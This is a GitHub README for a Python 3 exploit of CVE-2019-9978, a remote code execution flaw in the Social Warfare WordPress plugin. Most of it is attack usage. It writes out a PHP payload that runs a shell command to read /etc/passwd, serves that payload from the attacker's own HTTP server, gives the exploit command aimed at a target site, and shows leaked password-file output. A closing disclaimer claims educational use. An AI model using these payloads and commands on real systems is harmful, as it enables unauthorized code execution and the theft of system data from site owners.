echoosso/cve-2019-9978A Remote Code Execution (RCE) vulnerability in the Social Warfare plugin for WordPress, affecting versions below 3.5.3.
A Remote Code Execution (RCE) vulnerability in the Social Warfare plugin for WordPress, affecting all versions below 3.5.3.
The original public exploit was written in an outdated version of Python and no longer runs properly in modern environments.
I rewrote the exploit to be fully compatible with Python 3, making it easier to use, understand, and integrate into modern tooling.
Create a file named payload.txt with the following content:
<pre>system('cat /etc/passwd')</pre>
Use Python to serve your payload:
python3 -m http.server 8000
This will make your payload.txt accessible at:
http://<your-ip>:8000/payload.txt
python3 CVE-2019-9978.py --target http://<target-ip>/wordpress \
--payload-uri http://<your-ip>:8000/payload.txt
If the target is vulnerable, you will receive output similar to:
[*] Received Response From Server!
[<] Received:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
🧬 If this payload made your day, a ⭐ would make mine.
< 3.5.3⚠️ Disclaimer: This repository is for educational and ethical testing purposes only.
Unauthorized use of this exploit against systems you do not own is strictly prohibited.